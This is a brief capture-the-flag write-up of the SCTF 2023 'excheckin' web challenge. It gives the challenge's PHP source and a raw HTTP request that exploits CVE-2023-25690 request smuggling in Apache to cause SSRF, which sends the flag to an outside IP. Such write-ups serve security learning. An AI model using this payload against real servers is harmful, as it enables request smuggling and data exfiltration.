SCTF 2023 WEB excheckin

<?php $FLAG = "flag{fake_flag}"; @file_get_contents("http://".$_GET['url'].$FLAG); # but it's not the real flag # beacuse someone say this year is not 2023 !!! like the post? show_source('./2023.php'); $a = file_get_contents('./post.jpeg'); echo '<img src="data:image/jpeg;base64,' . base64_encode($a) . '">'; # notice -> time # How should you get to where the flag is, the middleware will not forward requests that are not 2023

两个容器分别为Apache/2.4.55和Apache/2.4.54

CVE-2023-25690 Apache HTTP Server

通过http走私构造ssrf

GET /2023/1%20HTTP/1.1%0d%0aHost:%20localhost%0d%0a%0d%0aGET%20/2022.php%3furl%3d124.222.129.75:1234/?flag= HTTP/1.1
Host: 115.239.215.75:8082
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close